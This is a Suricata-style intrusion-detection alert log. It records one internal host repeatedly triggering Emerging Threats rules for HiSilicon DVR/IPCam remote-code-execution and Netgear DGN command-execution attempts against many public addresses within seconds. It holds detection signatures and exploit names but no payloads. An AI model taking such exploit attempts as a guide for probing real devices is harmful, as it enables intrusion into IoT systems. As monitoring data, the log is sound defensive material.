ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 200.12.149.11

Timestamp:	05/16/24-16:38:55.226358
SID:	2030487
Source Port:	34096
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 200.12.149.11

Timestamp:	05/16/24-16:38:55.226358
SID:	2030488
Source Port:	34096
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 151.127.154.174

Timestamp:	05/16/24-16:39:16.598408
SID:	2030488
Source Port:	38776
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 151.127.154.174

Timestamp:	05/16/24-16:39:16.598408
SID:	2030487
Source Port:	38776
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 64.185.43.245

Timestamp:	05/16/24-16:39:12.298260
SID:	2030488
Source Port:	49106
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 64.185.43.245

Timestamp:	05/16/24-16:39:12.298260
SID:	2030487
Source Port:	49106
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 39.17.171.68

Timestamp:	05/16/24-16:38:57.446030
SID:	2030487
Source Port:	36918
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 39.17.171.68

Timestamp:	05/16/24-16:38:57.446030
SID:	2030488
Source Port:	36918
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 124.10.88.100

Timestamp:	05/16/24-16:39:05.676875
SID:	2030487
Source Port:	41318
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 124.10.88.100

Timestamp:	05/16/24-16:39:05.676875
SID:	2030488
Source Port:	41318
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 187.222.192.168

Timestamp:	05/16/24-16:39:05.699955
SID:	2030488
Source Port:	50224
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 17.211.10.201

Timestamp:	05/16/24-16:38:55.208905
SID:	2030487
Source Port:	52164
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 17.211.10.201

Timestamp:	05/16/24-16:38:55.208905
SID:	2030488
Source Port:	52164
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 176.77.195.90

Timestamp:	05/16/24-16:39:08.041719
SID:	2030488
Source Port:	56438
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 144.24.104.137

Timestamp:	05/16/24-16:38:57.435650
SID:	2030488
Source Port:	41804
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 176.77.195.90

Timestamp:	05/16/24-16:39:08.041719
SID:	2030487
Source Port:	56438
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 212.163.152.36

Timestamp:	05/16/24-16:39:05.677907
SID:	2030488
Source Port:	39156
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 201.137.138.135

Timestamp:	05/16/24-16:38:53.069358
SID:	2030488
Source Port:	60710
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 212.163.152.36

Timestamp:	05/16/24-16:39:05.677907
SID:	2030487
Source Port:	39156
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 201.137.138.135

Timestamp:	05/16/24-16:38:53.069358
SID:	2030487
Source Port:	60710
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 144.24.104.137

Timestamp:	05/16/24-16:38:57.435650
SID:	2030487
Source Port:	41804
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 38.34.18.107

Timestamp:	05/16/24-16:39:08.145048
SID:	2030487
Source Port:	43488
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 181.111.102.204

Timestamp:	05/16/24-16:38:53.064446
SID:	2030487
Source Port:	56560
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 83.254.29.62

Timestamp:	05/16/24-16:38:59.609929
SID:	2030488
Source Port:	60702
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 38.34.18.107

Timestamp:	05/16/24-16:39:08.145048
SID:	2030488
Source Port:	43488
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 83.254.29.62

Timestamp:	05/16/24-16:38:59.609929
SID:	2030487
Source Port:	60702
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 181.111.102.204

Timestamp:	05/16/24-16:38:53.064446
SID:	2030488
Source Port:	56560
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 31.58.67.11

Timestamp:	05/16/24-16:39:03.265883
SID:	2030487
Source Port:	55114
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 71.95.243.113

Timestamp:	05/16/24-16:39:05.705327
SID:	2030487
Source Port:	53936
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 31.58.67.11

Timestamp:	05/16/24-16:39:03.265883
SID:	2030488
Source Port:	55114
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 71.95.243.113

Timestamp:	05/16/24-16:39:05.705327
SID:	2030488
Source Port:	53936
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 37.254.139.180

Timestamp:	05/16/24-16:39:16.585475
SID:	2030488
Source Port:	39338
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 37.254.139.180

Timestamp:	05/16/24-16:39:16.585475
SID:	2030487
Source Port:	39338
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 4.114.169.224

Timestamp:	05/16/24-16:38:53.094104
SID:	2030487
Source Port:	53578
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 4.114.169.224

Timestamp:	05/16/24-16:38:53.094104
SID:	2030488
Source Port:	53578
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 206.248.19.234

Timestamp:	05/16/24-16:39:02.725501
SID:	2030487
Source Port:	35866
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 206.248.19.234

Timestamp:	05/16/24-16:39:02.725501
SID:	2030488
Source Port:	35866
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 73.183.217.220

Timestamp:	05/16/24-16:39:14.532767
SID:	2030488
Source Port:	51674
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 73.183.217.220

Timestamp:	05/16/24-16:39:14.532767
SID:	2030487
Source Port:	51674
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 114.222.174.236

Timestamp:	05/16/24-16:39:05.675949
SID:	2030488
Source Port:	34962
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 114.222.174.236

Timestamp:	05/16/24-16:39:05.675949
SID:	2030487
Source Port:	34962
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 4.248.104.198

Timestamp:	05/16/24-16:38:55.192594
SID:	2030487
Source Port:	34056
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 101.67.212.12

Timestamp:	05/16/24-16:38:55.174990
SID:	2030488
Source Port:	48414
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 4.248.104.198

Timestamp:	05/16/24-16:38:55.192594
SID:	2030488
Source Port:	34056
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 101.67.212.12

Timestamp:	05/16/24-16:38:55.174990
SID:	2030487
Source Port:	48414
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 199.136.170.219

Timestamp:	05/16/24-16:39:12.298264
SID:	2030487
Source Port:	43444
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 199.136.170.219

Timestamp:	05/16/24-16:39:12.298264
SID:	2030488
Source Port:	43444
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 119.135.139.141

Timestamp:	05/16/24-16:39:16.580836
SID:	2030487
Source Port:	59996
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 119.135.139.141

Timestamp:	05/16/24-16:39:16.580836
SID:	2030488
Source Port:	59996
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 65.249.63.120

Timestamp:	05/16/24-16:39:16.615094
SID:	2030487
Source Port:	36722
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 150.77.204.214

Timestamp:	05/16/24-16:39:16.614324
SID:	2030488
Source Port:	48636
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 65.249.63.120

Timestamp:	05/16/24-16:39:16.615094
SID:	2030488
Source Port:	36722
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 32.189.143.28

Timestamp:	05/16/24-16:39:02.744451
SID:	2030487
Source Port:	47798
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 12.237.32.185

Timestamp:	05/16/24-16:38:57.435559
SID:	2030487
Source Port:	50560
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 150.77.204.214

Timestamp:	05/16/24-16:39:16.614324
SID:	2030487
Source Port:	48636
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 12.237.32.185

Timestamp:	05/16/24-16:38:57.435559
SID:	2030488
Source Port:	50560
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 186.39.175.75

Timestamp:	05/16/24-16:39:03.256881
SID:	2030487
Source Port:	39044
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 221.241.227.222

Timestamp:	05/16/24-16:39:02.748827
SID:	2030488
Source Port:	54294
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 221.241.227.222

Timestamp:	05/16/24-16:39:02.748827
SID:	2030487
Source Port:	54294
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 146.85.230.201

Timestamp:	05/16/24-16:38:59.518410
SID:	2030487
Source Port:	36824
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 146.85.230.201

Timestamp:	05/16/24-16:38:59.518410
SID:	2030488
Source Port:	36824
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 117.179.255.3

Timestamp:	05/16/24-16:39:05.706165
SID:	2030487
Source Port:	53366
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 117.179.255.3

Timestamp:	05/16/24-16:39:05.706165
SID:	2030488
Source Port:	53366
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 188.92.150.229

Timestamp:	05/16/24-16:39:05.702452
SID:	2030488
Source Port:	44276
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 188.92.150.229

Timestamp:	05/16/24-16:39:05.702452
SID:	2030487
Source Port:	44276
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound - Source IP: 192.168.2.23 - Destination IP: 1.213.162.54

Timestamp:	05/16/24-16:39:05.512197
SID:	2029215
Source Port:	34372
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 72.126.107.249

Timestamp:	05/16/24-16:38:53.094055
SID:	2030487
Source Port:	41086
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 188.1.70.241

Timestamp:	05/16/24-16:38:50.065118
SID:	2030487
Source Port:	37640
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN Remote Command Execution - Source IP: 192.168.2.23 - Destination IP: 173.127.104.48

Timestamp:	05/16/24-16:39:13.661858
SID:	2024916
Source Port:	37620
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Information Leak

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 188.1.70.241

Timestamp:	05/16/24-16:38:50.065118
SID:	2030488
Source Port:	37640
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 126.123.234.101

Timestamp:	05/16/24-16:38:55.175105
SID:	2030487
Source Port:	50730
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 126.123.234.101

Timestamp:	05/16/24-16:38:55.175105
SID:	2030488
Source Port:	50730
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 135.129.120.210

Timestamp:	05/16/24-16:38:59.609939
SID:	2030488
Source Port:	52900
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 135.129.120.210

Timestamp:	05/16/24-16:38:59.609939
SID:	2030487
Source Port:	52900
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 107.155.8.171

Timestamp:	05/16/24-16:38:59.560255
SID:	2030488
Source Port:	38722
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 189.22.38.7

Timestamp:	05/16/24-16:38:55.175060
SID:	2030488
Source Port:	57092
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 189.22.38.7

Timestamp:	05/16/24-16:38:55.175060
SID:	2030487
Source Port:	57092
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 107.155.8.171

Timestamp:	05/16/24-16:38:59.560255
SID:	2030487
Source Port:	38722
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 66.166.237.181

Timestamp:	05/16/24-16:39:03.260012
SID:	2030488
Source Port:	43304
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 66.166.237.181

Timestamp:	05/16/24-16:39:03.260012
SID:	2030487
Source Port:	43304
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 84.42.80.23

Timestamp:	05/16/24-16:39:02.726887
SID:	2030488
Source Port:	38384
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 84.42.80.23

Timestamp:	05/16/24-16:39:02.726887
SID:	2030487
Source Port:	38384
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 108.238.12.172

Timestamp:	05/16/24-16:39:05.679593
SID:	2030488
Source Port:	37122
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 108.238.12.172

Timestamp:	05/16/24-16:39:05.679593
SID:	2030487
Source Port:	37122
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 154.162.188.93

Timestamp:	05/16/24-16:39:05.709461
SID:	2030487
Source Port:	37676
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 154.162.188.93

Timestamp:	05/16/24-16:39:05.709461
SID:	2030488
Source Port:	37676
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 186.39.175.75

Timestamp:	05/16/24-16:39:03.256881
SID:	2030488
Source Port:	39044
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 73.189.113.196

Timestamp:	05/16/24-16:39:14.523127
SID:	2030487
Source Port:	52890
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 32.189.143.28

Timestamp:	05/16/24-16:39:02.744451
SID:	2030488
Source Port:	47798
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 73.189.113.196

Timestamp:	05/16/24-16:39:14.523127
SID:	2030488
Source Port:	52890
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 72.126.107.249

Timestamp:	05/16/24-16:38:53.094055
SID:	2030488
Source Port:	41086
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 68.64.11.81

Timestamp:	05/16/24-16:39:08.127304
SID:	2030488
Source Port:	38044
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 43.94.120.44

Timestamp:	05/16/24-16:39:05.698774
SID:	2030487
Source Port:	43538
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 43.94.120.44

Timestamp:	05/16/24-16:39:05.698774
SID:	2030488
Source Port:	43538
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 68.64.11.81

Timestamp:	05/16/24-16:39:08.127304
SID:	2030487
Source Port:	38044
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 207.167.245.22

Timestamp:	05/16/24-16:39:02.767203
SID:	2030488
Source Port:	38904
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 135.203.91.4

Timestamp:	05/16/24-16:39:14.532754
SID:	2030487
Source Port:	51626
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 183.180.251.247

Timestamp:	05/16/24-16:38:55.199149
SID:	2030488
Source Port:	34026
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 135.203.91.4

Timestamp:	05/16/24-16:39:14.532754
SID:	2030488
Source Port:	51626
Destination Port:	9530
